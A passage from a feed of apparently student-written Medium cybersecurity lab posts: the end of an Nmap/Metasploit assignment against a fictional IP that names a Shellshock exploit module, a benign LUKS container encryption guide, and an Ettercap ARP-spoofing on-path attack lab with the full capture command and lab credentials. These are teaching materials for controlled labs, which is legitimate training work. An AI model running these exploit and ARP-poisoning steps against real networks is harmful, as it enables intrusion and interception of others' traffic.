a popular Linux distribution for penetration testing that comes pre-installed with tools like <strong>Nmap</strong> and <strong>Metasploit</strong>.</li><li><strong>Option 2 (Web-Based Tool)</strong>: Use <strong>TryHackMe</strong> (<a href="https://tryhackme.com/">https://tryhackme.com/Links to an external site.</a>) or <strong>Hack The Box</strong> (<a href="https://www.hackthebox.com/">https://www.hackthebox.com/Links to an external site.</a>), both of which provide virtual environments for practicing penetration testing in a controlled, legal setting.</li></ul><p><strong>Step 2: Conduct a Vulnerability Assessment Using Nmap</strong></p><ol><li><strong>Install and Open Nmap</strong>:</li></ol><ul><li>If using <strong>Kali Linux</strong>, Nmap is pre-installed. If using another system, download and install Nmap from <a href="https://nmap.org/download.html."><strong>https://nmap.org/download.html</strong>.</a></li></ul><ol><li><strong>Scan the Target Network</strong>:</li></ol><ul><li>Open a terminal in <strong>Kali Linux</strong> or your environment of choice.</li><li>Run an <strong>Nmap scan</strong> on the target network to identify open ports and services. The fictional target IP address for <strong>CyberTech Solutions</strong> is 192.168.1.100.</li><li>Command: nmap -sS -sV 192.168.1.100</li><li>This will perform a <strong>SYN scan</strong> and <strong>service version detection</strong> to identify the services running on the target machine.</li></ul><ol><li><strong>Analyze the Results</strong>:</li></ol><ul><li>Review the scan output for <strong>open ports</strong> (e.g., HTTP on port 80, SSH on port 22).</li><li>Identify services that may have known vulnerabilities (e.g., old versions of SSH or Apache).</li></ul><ol><li><strong>Document the Vulnerabilities</strong>:</li></ol><ul><li>Based on the Nmap scan, document any potential vulnerabilities (e.g., open ports, outdated services) that could be exploited.</li></ul><p><strong>Step 3: Conduct a Basic Penetration Test Using Metasploit</strong></p><ol><li><strong>Launch Metasploit</strong>:</li></ol><ul><li>If using <strong>Kali Linux</strong>, open a terminal and launch Metasploit with the command: msfconsole.</li></ul><ol><li><strong>Search for Exploits</strong>:</li></ol><ul><li>Use Metasploit to search for an exploit based on the vulnerable service you identified during the Nmap scan.</li><li>Command: search exploit name</li><li>For example, if the target is running an old version of <strong>Apache</strong>, you can search for apache exploits.</li></ul><ol><li><strong>Choose and Configure the Exploit</strong>:</li></ol><ul><li>Once you have identified a relevant exploit, load it with the use command. For example:</li><li>Command: use exploit/multi/http/apache_mod_cgi_bash_env_exec</li><li>Set the target’s IP address and port number (based on the Nmap scan results):</li><li>Command: set RHOST 192.168.1.100</li><li>Command: set RPORT 80</li></ul><ol><li><strong>Launch the Exploit</strong>:</li></ol><ul><li>Execute the exploit by running the exploit command. Metasploit will attempt to exploit the vulnerability and gain access to the target system.</li></ul><ol><li><strong>Document the Results</strong>:</li></ol><ul><li>If the exploit is successful, document what access was gained (e.g., shell access, sensitive data) and the steps used to achieve it.</li><li>Take screenshots of the Nmap scan results, the Metasploit commands, and the successful exploitation.</li></ul><p><strong>Step 4: Report and Mitigation</strong></p><ul><li>Write a brief report summarizing the vulnerabilities identified during the Nmap scan and the results of the penetration test. Include mitigation recommendations to fix the identified issues (e.g., updating software, closing unused ports).</li></ul><p><strong>Graded Deliverable</strong>:</p><ul><li>Submit a <strong>500-word report</strong> that includes:</li><li>Screenshots of the <strong>Nmap scan results</strong> showing the identified vulnerabilities.</li></ul><p>Details of the <strong>Metasploit exploitation</strong> attempt, including the steps and screenshots</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2e824da0b630" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Securing a Virtual Machine with LUKS Encryption and Best Practices on VMware: A Step-by-Step Guide]]></title>
            <link>https://medium.com/@kiplagatkelvin034/securing-a-virtual-machine-with-luks-encryption-and-best-practices-on-vmware-a-step-by-step-guide-33809ac3a8cf?source=rss-b3bace61bccc------2</link>
            <guid isPermaLink="false">https://medium.com/p/33809ac3a8cf</guid>
            <dc:creator><![CDATA[Kiplagatkelvin]]></dc:creator>
            <pubDate>Thu, 14 Nov 2024 11:02:57 GMT</pubDate>
            <atom:updated>2024-11-14T11:02:57.774Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YHm2sQ2KqM__FwHHjIiRDA.png" /></figure><h4><strong>INTRODUCTION</strong></h4><p>This documentation provides a step-by-step guide to configuring and securing a virtual machine (VM) using VMware. The primary objectives are to establish a secure and isolated environment following best practices in access control, network segmentation, and data encryption. By the end of this setup, the VM will be protected against unauthorized access and equipped with essential security configurations, making it a robust platform for further development or testing.</p><p>N/B</p><p>I will focus my attention on <strong>Data Encryption</strong>:</p><ul><li>In Virtual machine, use <strong>LUKS encryption</strong> to encrypt your VM’s hard disk.</li><li>Run: sudo cryptsetup luksFormat /dev/sda1</li><li>Enter a passphrase to encrypt the disk.</li></ul><p><strong>I understand that creating a new virtual machine in VMWARE can now be done by anybody in IT.</strong>So I will not focus much of my attention to it.</p><p><strong>Step 1: Create a New Virtual Machine in VMware</strong></p><ol><li><strong>Open VMware</strong>:</li></ol><p>Launch VMware Workstation or VMware Player.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*O6_66qncf-hwzhHM6RNYkQ.png" /></figure><p><strong>2. Create a New VM</strong>:</p><ul><li>Click on <strong>“Create a New Virtual Machine”</strong>.</li></ul><p>After the download create the new virtial machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*PFwWoDcZdWvoAhASoIpg3Q.png" /></figure><ul><li>Select <strong>“Custom”</strong> (advanced) or <strong>“Typical”</strong> setup depending on your preference.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*VLkzO9OZG6sABsw0pUo-1Q.png" /></figure><p><strong>3. Select Installer Disc Image (ISO)</strong>:</p><ul><li>Choose <strong>“Installer disc image file (ISO)”</strong> and locate the Ubuntu ISO you downloaded.</li><li>If you haven’t downloaded it yet, get it from Kali Linux Download Page</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*nofR_daIa4XajrU5sRsjPQ.png" /></figure><p><strong>4. Configure Hardware Resources</strong>:</p><ul><li><strong>RAM</strong>: Set at least <strong>2 GB</strong>.</li><li><strong>Disk Space</strong>: Allocate at least <strong>20 GB</strong>.</li><li><strong>Processor</strong>: Choose 1–2 processors, depending on your machine’s capacity.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*5i7rwvj1_YdjB4hck63o-g.png" /></figure><p><strong>5. Complete the VM Setup</strong>:</p><ul><li>Finish the setup and power on the VM to begin the OS installation.</li></ul><p>We have already finish setting up and this are my operating system at the left bar</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*oLlSYqEpGKz41VMbZUcKKg.png" /></figure><p><strong>Step 2: Install and Configure KALI-LINUX on the VM</strong></p><ol><li><strong>Install KALI-LINUX</strong>:</li></ol><ul><li>Follow the prompts in kali-linux to complete the installation.</li><li>Choose a strong password for the root account when setting up user credentials.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*2HC5CHxA5T5hVuosfHTLCw.png" /></figure><p><strong>Step 3: Secure the Kali Linux VM</strong></p><p>In this step, you’ll apply some basic security configurations to Kali Linux to improve its resilience against unauthorized access and attacks.</p><p><strong>1. Update the System:</strong></p><ul><li>Open a terminal in your Kali VM.</li><li>Run the following commands to ensure the system has the latest updates and patches:</li></ul><p><em>sudo apt update &amp;&amp; sudo apt upgrade -y</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*i2CNXsa7Hcxemc3J8PC3QA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*bf4kw__THBqu2g_g_2fl6w.png" /></figure><p>System Update Output Summary: The terminal output after running sudo apt update &amp;&amp; sudo apt upgrade -y confirms that all package repositories were successfully updated, and available upgrades for installed packages were applied. This step is crucial in securing the VM</p><p><strong>2. Set Up a Strong Firewall:</strong></p><ul><li>Kali Linux includes UFW (Uncomplicated Firewall) as a simple firewall tool. To configure it:</li></ul><p><em>sudo apt install ufw -y</em></p><p><em>sudo ufw enable</em></p><p><em>sudo ufw default deny incoming</em></p><p><em>sudo ufw default allow outgoing</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*wo9GmORzDykGLdr9e0kTsA.png" /></figure><ul><li><strong>Allow SSH</strong> (if you need remote access):</li></ul><p><em>sudo ufw allow ssh</em></p><p><em>sudo ufw status verbose</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*0qQisLcazr_gx7JDTDd1pA.png" /></figure><p><strong>3. Configure Automatic Security Updates:</strong></p><ul><li>Install unattended-upgrades to enable automatic updates:</li></ul><p><em>sudo apt install unattended-upgrades -y</em></p><p><em>sudo dpkg-reconfigure -plow unattended-upgrades</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*I4-ZW9OYNIEaUTA9XsMzLA.png" /></figure><p>Enabling Automatic Updates: To ensure the system remains secure and up to date, it’s important to enable automatic updates. This can be done by configuring unattended-upgrades, which automatically installs security updates without user intervention. Regularly applying security patches helps protect the system from known vulnerabilities, reducing the risk of exploits that could compromise the VM. Automatic updates ensure that critical patches are installed as soon as they’re available, maintaining system integrity and minimizing potential security threats.</p><p><strong>4. Enable Disk Encryption (Optional but Recommended):</strong></p><ul><li>If you want to encrypt data at rest, you can use LUKS (Linux Unified Key Setup) encryption for sensitive directories.</li><li>To encrypt a specific directory:</li></ul><p><em>sudo apt install cryptsetup</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*c44aTlW6WZDuGGBlockDcw.png" /></figure><ol><li><strong>Choose the Directory to Encrypt</strong>:</li></ol><p><strong>Verify File Format:</strong></p><p>Ensure that the <em>file /home/kali/Pictures/encrypted_container.img</em></p><p>is a valid LUKS-encrypted volume.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Jv3k1X9B8co6X-OXhG-h6A.png" /></figure><p>n/b the file is not compatible so let make it compatible</p><p>LUKS encryption is typically used with block devices like disk partitions or disk image files, not just any file. If you created an encrypted file, it should be in a specific format.</p><ol><li><strong>Check if the file is a valid LUKS volume</strong>:</li></ol><p><em>sudo cryptsetup luksDump /home/kali/Pictures/</em> <em>encrypted_container.img</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Jv3k1X9B8co6X-OXhG-h6A.png" /></figure><p>Still returns an error.</p><p>If this command returns detailed information about the encryption setup, it means the file is indeed LUKS-encrypted.</p><p>If it returns an error, the file is likely not encrypted with LUKS.</p><ol><li><strong>If You Are Trying to Encrypt a Regular File</strong>:</li></ol><p>If you’re trying to encrypt a regular file (like encrypted_container.img), LUKS does not directly support encrypting individual files like that.</p><p><strong>Solution</strong>: If you want to encrypt a file, you would typically create an encrypted container using a disk image file.</p><ol><li><strong>Steps to create an encrypted file container</strong>:</li></ol><p>a. <strong>Create an empty file</strong> (for the encrypted container):</p><p><em>dd if=/dev/zero of=/home/kali/Pictures/encrypted_container.img bs=1M count=100</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*qBQmWb2nMFa6Oj9R71D47w.png" /></figure><p>This creates a 100 MB file called encrypted_container.img.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*P_r2PFzhHGqtq8kmUtuuIA.png" /></figure><p>A container has also been created</p><p>b. <strong>Format it as LUKS</strong>:</p><p><em>sudo cryptsetup luksFormat /home/kali/Pictures/encrypted_container.img</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*wXldMfo01jppXK2_oj7hiA.png" /></figure><p>You will be asked to confirm and set a password for the encrypted file.</p><p>You will be asked to verify the passphrase</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*8dUa3MkG3gvm2CHScvy4dw.png" /></figure><p>c. <strong>Open the LUKS volume</strong>:</p><p><em>sudo cryptsetup luksOpen /home/kali/Pictures/encrypted_container.img my_encrypted_data</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*vondvwRgNLWzBJjKS8bZ3g.png" /></figure><p><strong>This command successfully opened the encrypted file (encrypted_container.img) with the name my_encrypted_data. It is now treated as an encrypted virtual device, and the system has asked for the passphrase you set earlier during the luksFormat step.</strong></p><p><strong>If You Want to Encrypt a Directory</strong>: If your goal is to encrypt a directory and not just a single file, the process is a bit more involved. One method is to use <strong>EncFS</strong> or <strong>eCryptfs</strong> to create an encrypted directory where you can store files securely.</p><p><strong>Alternative: Using LUKS for Full Disk Encryption</strong>: If you are working with disk partitions or images for full disk encryption, you will need to ensure that the device is set up properly to be used with LUKS.</p><p><strong>d. Create a Filesystem on the Encrypted Container:</strong></p><p>Once the container is opened, you need to create a filesystem on it to store data. In this example, we are using the <strong>ext4 filesystem</strong>:</p><p><em>sudo mkfs.ext4 /dev/mapper/my_encrypted_data</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Lw38b6kqxkhLA_iRvPM-zg.png" /></figure><p>· This command formats the encrypted container with an ext4 filesystem.</p><p>The output you’re seeing is from the mkfs.ext4 command, which is used to create a new <strong>ext4</strong> filesystem on a device or file. Let’s break down the messages to help you understand what’s happening:</p><p><strong>Breakdown of the Output:</strong></p><ol><li><strong>mke2fs 1.47.1 (20-May-2024)</strong>:<br> This line shows the version of the mke2fs tool (part of the e2fsprogs package) and the date it was released. This tool is responsible for creating ext2, ext3, and ext4 file systems in Linux.</li><li><strong>Creating filesystem with 21504 4k blocks and 21504 inodes</strong>:</li></ol><ul><li><strong>21504 4k blocks</strong>:<br> This means the filesystem is being created with 21,504 blocks, each of 4 KB (kilobytes). A “block” is the smallest unit of storage on the filesystem.</li><li><strong>21504 inodes</strong>:<br> Inodes are data structures that store metadata about files, such as the file’s owner, permissions, timestamps, and pointers to the file’s actual data. The number 21,504 indicates the number of inodes being created for this filesystem.</li></ul><ol><li><strong>Allocating group tables: done</strong>:<br> The filesystem is divided into groups for efficient management. Each group has its own table to track blocks, inodes, and other important information. This message indicates that the group tables have been successfully created.</li><li><strong>Writing inode tables: done</strong>:<br> The inode tables, which hold information about files and directories, have been successfully written to the disk.</li><li><strong>Creating journal (1024 blocks): done</strong>:<br> The ext4 filesystem has a feature called a “journal,” which keeps track of changes made to the filesystem. This ensures that if the system crashes, it can recover to a consistent state. The journal is being created with 1024 blocks.</li><li><strong>Writing superblocks and filesystem accounting information: done</strong>:<br> The superblock is a key data structure in a filesystem that holds important information like the filesystem size, block size, free block count, and more. This message means the superblock and other related accounting information have been successfully written to the disk.</li></ol><p><strong>Conclusion:</strong></p><p>In simple terms, these messages indicate that you’ve successfully created a new ext4 filesystem on your encrypted container. The system has set up all the necessary structures (blocks, inodes, journal, etc.) to allow you to store and manage files securely in that encrypted container.</p><p><strong>e. Mount the Encrypted Container:</strong></p><p>Next, you need to mount the encrypted container to access it like a normal directory:</p><p><em>sudo mkdir /mnt/encrypted_data # Create a mount point</em></p><p><em>sudo mount /dev/mapper/my_encrypted_data /mnt/encrypted_data # Mount the encrypted container</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*oLQaVu0McSPcdFiXL_rOXA.png" /></figure><p>.Now, you can <em>use /mnt/encrypted_data</em> to store files securely. Any files you store here will be encrypted at rest.</p><p><strong>f. Navigate to the file system which is encrypted</strong></p><p>To navigate the filesystem in Linux, you can use the following commands:</p><p><strong>1. Check current directory</strong></p><p>First, check where you are in the filesystem:</p><p><em>Pwd</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*6zT8BHUxYiVdq5kAV2FUOA.png" /></figure><p>This will print the current directory you’re in.</p><p><strong>2. Navigate to the encrypted container mount point</strong></p><p>If you’ve already mounted the encrypted container to /mnt/encrypted_data, you can navigate to this directory using:</p><p><em>cd /mnt/encrypted_data</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*UlPZYutw3aypKB9pA9MZbA.png" /></figure><p>After running this command, you will be inside the /mnt/encrypted_data directory, which represents the mounted encrypted container.</p><p><strong>3. List contents of the current directory</strong></p><p>To see what’s inside the /mnt/encrypted_data directory (it might be empty at first), run:</p><p><em>Ls</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*_rFAx8rBY3CklrOslC5Hbw.png" /></figure><p>If there are no files, you won’t see any output. If you see any files, they will be listed.</p><p><strong>4. Create a new file inside the encrypted container</strong></p><p>To create a new file inside the container, you can use the touch command:</p><p><em>touch newfile.txt</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*NDTl9gF-Uhqt9Z0iEsBGxw.png" /></figure><p>This will create an empty file named newfile.txt inside /mnt/encrypted_data.</p><p><strong>5. Add content to the file</strong></p><p>To add content to the newly created file, you can use a text editor like nano:</p><p><em>nano newfile.txt</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*w-7hL_Yqz2bOy6wqIGu2Fg.png" /></figure><p>This will open the file in the nano text editor. Type some text and save the file by pressing CTRL + O (to write out) and then ENTER. Exit nano by pressing CTRL + X.</p><p><strong>6. Check if the file was created</strong></p><p>After creating the file, you can list the contents again:</p><p><em>ls</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*6Dngj2UWn8JyeGZOOsPnng.png" /></figure><p>You should now see newfile.txt listed in the output.</p><p><strong>7. Unmount the encrypted container</strong></p><p>Once you’re done working with the files in the encrypted container, don’t forget to unmount it:</p><p><em>sudo umount /mnt/encrypted_data</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*8WPUvFTI-Si4mQz_5P0d7Q.png" /></figure><p>Now, you’ve successfully navigated to your encrypted container, created a file, and added content. You can repeat this process to work with more files inside the encrypted container.</p><p>In this setup, LUKS encryption was enabled on the Kali Linux VM to secure sensitive directories. This encryption ensures that the data stored in these directories remains protected, even if the underlying storage medium is compromised. The encryption process used a passphrase for protection, which must be entered every time the encrypted volume is mounted. Encrypting sensitive data provides a strong layer of security by preventing unauthorized access to important files, making it a crucial step in protecting data at rest.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=33809ac3a8cf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lab — On-Path Attacks with Ettercap]]></title>
            <link>https://medium.com/@kiplagatkelvin034/lab-on-path-attacks-with-ettercap-dfc854138809?source=rss-b3bace61bccc------2</link>
            <guid isPermaLink="false">https://medium.com/p/dfc854138809</guid>
            <dc:creator><![CDATA[Kiplagatkelvin]]></dc:creator>
            <pubDate>Fri, 08 Nov 2024 11:46:05 GMT</pubDate>
            <atom:updated>2024-11-08T12:34:44.848Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H4idexQNDHxPC2x0cGoRpg.png" /></figure><h3>Introduction</h3><p><strong>What is an On-Path Attack?</strong></p><p>In the world of cybersecurity, on-path attacks — also known as Man-in-the-Middle (MITM) attacks — are among the most powerful methods for intercepting, modifying, or stealing data over a network. Through these attacks, an adversary places themselves “between” two communicating hosts, gaining the ability to capture information without needing to directly compromise the devices themselves.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VDWKKYBfSTo8EHMsN26V1A.png" /></figure><p><strong>Why Ettercap?</strong></p><p>In this lab, we’re using <em>Ettercap</em>, a well-known network security tool, to perform an on-path attack within a controlled environment. This process will help you understand how network traffic can be intercepted and manipulated, and will highlight the importance of network security measures, especially encryption.</p><p><strong>Lab Objectives</strong></p><p>This guide covers three key stages in the on-path attack:</p><ol><li>Launching Ettercap and exploring its capabilities.</li><li>Performing an on-path attack using ARP spoofing.</li></ol><p>3.Using Wireshark to monitor and analyze the ARP spoofing process.</p><h3>Topology</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*98LyAjwe6qwyQTQ394uwJA.jpeg" /></figure><p>Attached is the topology I will be using for illustration.</p><h3>Part 1: Launch Ettercap and Explore Its Capabilities</h3><p>In this attack, you will use ARP spoofing to redirect traffic on the local virtual network to your Kali Linux system at 10.6.6.1. ARP spoofing is often used to impersonate the default gateway router to capture all traffic entering or leaving the local IP network. Because your lab environment uses an internal virtual network, instead of spoofing the default gateway, you will use ARP spoofing to redirect traffic that is destined for a local server with the address 10.6.6.13.</p><ol><li>Load Kali Linux using the username kali and the password kali. Open a terminal session from the menu bar at the top of the screen.</li><li>The target host in this lab is the Linux device at 10.6.6.23. To view the network from the target perspective, and initiate traffic between the target and the server, use <em>SSH</em> to log in to this host. The username is labuser and the password is <em>Cisco123.</em></li></ol><p>The user of the <em>10.6.6.23</em> host is communicating with the server at <em>10.6.6.13</em>. The on-path attacker at <em>10.6.6.1</em> (your Kali VM) will intercept and relay traffic between these hosts.</p><p>Note: The password will not display on the screen.</p><p><em>(kali㉿Kali)-[~]<br># ssh -l labuser 10.6.6.23</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*vUAyKdoZYL013bxVlmjM1g.png" /></figure><p>3. Because you are creating an on-path attack that uses ARP spoofing, you will be monitoring the ARP mappings on the victim host. The attack will cause changes to those mappings.</p><p>Use the command <em>ip neighbor</em> to view the current ARP cache on the target computer. Note: The hostname <em>gravemind </em>maybe different for your Kali VM environment.</p><p><em>labuser@gravemind:/$ ip neighbor</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*3UyThYuhpZVcsNZB4fqJCA.png" /></figure><h4>Step 2: Load Ettercap GUI interface to begin scanning.</h4><ol><li>Open a new terminal session from the menu bar in Kali Linux. Do not close the SSH-terminal that is running the session with 10.6.6.23.</li><li>Use the <strong>ettercap -h</strong> command to view the help file for the Ettercap application.</li></ol><p><em>(kali㉿Kali)-[~]<br>$ ettercap -h</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/1*WNJnVYuFbE2xJSLfrDTZSw.png" /></figure><p>3. In this part, you will use a GUI interface to access Ettercap. Start Ettercap GTK+ graphical user interface using the <strong>ettercap -G</strong> command. Most Ettercap functions require root permissions, so use the <strong>sudo</strong> command to obtain the required permissions.</p><p><em>(kali㉿kali)-[~]<br># sudo ettercap -G</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*PuJHhzRryEr0tDCiDxJ0bw.png" /></figure><ol><li>The Ettercap GUI opens in a new window. You are sniffing traffic on an internal, virtual network. The default setup is to scan using interface eth0. Change the sniffing interface to <strong>br-internal</strong>, which is the interface that is configured on the 10.6.6.0/24 virtual network, by changing the value in the <strong>Setup &gt; Primary</strong> <strong>Interface</strong> dropdown.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*PY8HkU6vru3pJg9LTmvjcQ.png" /></figure><p>2. Click the <strong>checkbox </strong>icon at the top right of the Ettercap screen to continue. A message appears at the bottom of the screen indicating that Unified sniffing has started.</p><h3>Part 2: Perform the On-Path (MITM) Attack</h3><h3>Step 1: Select the Target Devices.</h3><ol><li>In the Ettercap GUI window, open the Hosts List window by clicking the Ettercap menu (three dots icon). Select the Hosts entry and then Hosts List. Click the Scan for Hosts icon (magnifying glass) at top left in the menu bar. A list of the hosts that were discovered on the 10.6.6.0/24 network appears in the Host List window.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*vq3MrWTcy8wJpdxboLG76w.png" /></figure><p><strong><em>At least one of the MAC addresses should be familiar.</em></strong></p><ol><li>Define the source and destination devices for the attack. To do so, click the IP address 10.6.6.23 in the window to highlight the target user host. Click the Add to Target 1 button at the bottom of the Host List window. This defines the user’s host as Target 1.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*H6UgH-EhtH8iayiXBPBdRw.png" /></figure><p>2. Click the IP address of the destination web server at 10.6.6.13 to highlight the line. Click the Add to Target 2 button at the bottom of the host window.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*TDLWFTXZMrvTXDDQKbzdXA.png" /></figure><p>Any IP/MAC address specified as a Target 1 will have all its traffic diverted through the attacking computer that is running Ettercap. In this lab, the attacking computer is the Kali Linux machine at 10.6.6.1. All other computers on the subnet, other than the targets, will communicate normally.</p><ol><li>Click the MITM icon on the menu bar (the first circular icon on top right). Select <strong>ARP Poisoning</strong>… from the dropdown menu. Verify that <strong>Sniff remote connections</strong> is selected. Click OK.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*kXg1c8iI6dkdNoxvNaLISQ.png" /></figure><p>Verify that <strong>Sniff remote connections</strong> is selected. Click OK.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*l4cAJMJuTcpXD5Y9YyGsJQ.png" /></figure><p>2. The MITM exploit is started. If sniffing does not start immediately, click the Start option (play button) at left in the top menu.</p><p>n/b snifing has already started…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*cZ1fpNvBXhGp7cxwtBXHOg.png" /></figure><h3>Step 2: Perform the ARP spoofing attack.</h3><ol><li>Return to the terminal window that is running the SSH session with the target user host at 10.6.6.23. Repeat the ping to 10.6.6.13</li></ol><p><em>labusergravemind:/$ ping -c 5 10.6.6.13</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*N3h4MvYCVdAC4huwiA2gEw.png" /></figure><p>2. Use the <strong><em>ip neighbor</em></strong> command to view the ARP table on 10.6.6.23 again. Note the MAC address listed for 10.6.6.13.</p><p><strong><em>ip neighbor</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*RVuuRkszuMepaiD9BUF_qw.png" /></figure><h3>Part 3: Use Wireshark to Observe the ARP Spoofing Attack</h3><h3>Step 1: Select the Target Devices and Perform the MITM attack using the CLI</h3><p>In this step, you will use the command line interface in Ettercap to perform ARP spoofing and write a .pcap file that can be opened in Wireshark. Refer to the help information for Ettercap to interpret the options used in the commands.</p><ol><li>Return to the terminal session that is connected via SSH to 10.6.6.23. Ping the IP addresses 10.6.6.11 and 10.6.6.13. 10.6.6.11 is another host on the LAN that we will verify is unaffected by the attack. Then, use the <strong>ip neighbor</strong> command to find the MAC addresses associated with the IP addresses of the two systems.</li></ol><p><em>labuser@gravemind:/$ ping -c 5 10.6.6.11</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*kINL-aTQpna3QU0o9ow5Xg.png" /></figure><p><em>labuser@gravemind:/$ ping -c 5 10.6.6.13</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*ytG4l_9hs_gIkpR7O5SMtQ.png" /></figure><p><em>labuser@gravemind:/$ ip neighbor</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*stpxUTYrMJ51WCW7sCrv3g.png" /></figure><p><strong>Note</strong>: To find the MAC of 10.6.6.23, go to the SSH session terminal and enter the <strong>ip address</strong> command. Determine the MAC address of the interface that is addressed on the 10.6.6.0/24 network.</p><p>2. In a terminal window, enter the command as follows to save the pcap file in the current working directory:</p><p><strong><em>(kali@kali)-[~]$sudo ettercap -T -q -i br-internal --write mitm-saved.pcap --mitm arp /10.6.6.23// /10.6.6.13//</em></strong></p><p>below is the output</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*O_T7AlYmSnNjD7EGaTqQ_g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*MmeiUrO8kx41cR2JTRZ48g.png" /></figure><h3>Explanation:</h3><ol><li><strong>sudo</strong>:Executes the command with root privileges (required for Ettercap to function properly, especially when working with network interfaces).</li><li><strong>ettercap</strong>:This is the name of the tool used for network sniffing and man-in-the-middle (MITM) attacks, including ARP poisoning.</li><li><strong>-T</strong>:Specifies the <strong>Text mode</strong>. This mode runs Ettercap in a terminal with text-based output instead of the graphical interface.</li><li><strong>-q</strong>:Enables <strong>Quiet mode</strong>, meaning Ettercap will suppress unnecessary output, showing only essential information.</li><li><strong>-i br-internal</strong>:Specifies the <strong>network interface</strong> to use for the attack. In this case, br-internal is likely a network bridge interface, which is common in virtualized environments or when using tools like Docker or VirtualBox. This is the interface through which the attack will operate.</li><li><strong>--write mitm-saved.pcap</strong>:Tells Ettercap to <strong>save</strong> the captured traffic into a file called mitm-saved.pcap. This is useful for later analysis of the network traffic that was intercepted.</li><li><strong>--mitm arp</strong>:This specifies the type of <strong>man-in-the-middle attack</strong> to use, which in this case is <strong>ARP poisoning (ARP spoofing)</strong>. It allows the attacker to intercept and possibly alter the communication between two devices by poisoning the ARP cache of both devices.</li><li><strong>/10.6.6.23//</strong> and <strong>/10.6.6.13//</strong>:These are the <strong>target IP addresses</strong> of the two devices involved in the ARP spoofing attack. The syntax /IP_ADDRESS// is used by Ettercap to specify the target IPs.</li></ol><ul><li>10.6.6.23 is the victim device’s IP (the one you want to intercept traffic from).</li><li>10.6.6.13 is the device you want to manipulate or monitor (the target device).</li></ul><h4>What this command does:</h4><ul><li>The command starts an <strong>ARP poisoning attack</strong> on the network interface br-internal, between the devices with IP addresses 10.6.6.23 and 10.6.6.13.</li><li>It intercepts the communication between these two devices and saves the network traffic in a file called mitm-saved.pcap.</li><li>During the attack, Ettercap manipulates the ARP tables of both devices to route their traffic through the attacker’s machine, enabling the attacker to inspect, manipulate, or inject packets into the communication stream.</li></ul><h3>Step 2: Open Wireshark to view the Saved PCAP file.</h3><ol><li>In the Kali terminal window, start Wireshark with the <strong>mitm-saved.pcap</strong> file that you created with Ettercap.</li></ol><p><strong><em>wireshark mitm-saved.pcap</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wP9rpcmTfWVNrpt1PiHQnA.png" /></figure><p>duplicate ip address have been detected</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JpRiFhPxRCDdYQ47qFur6g.png" 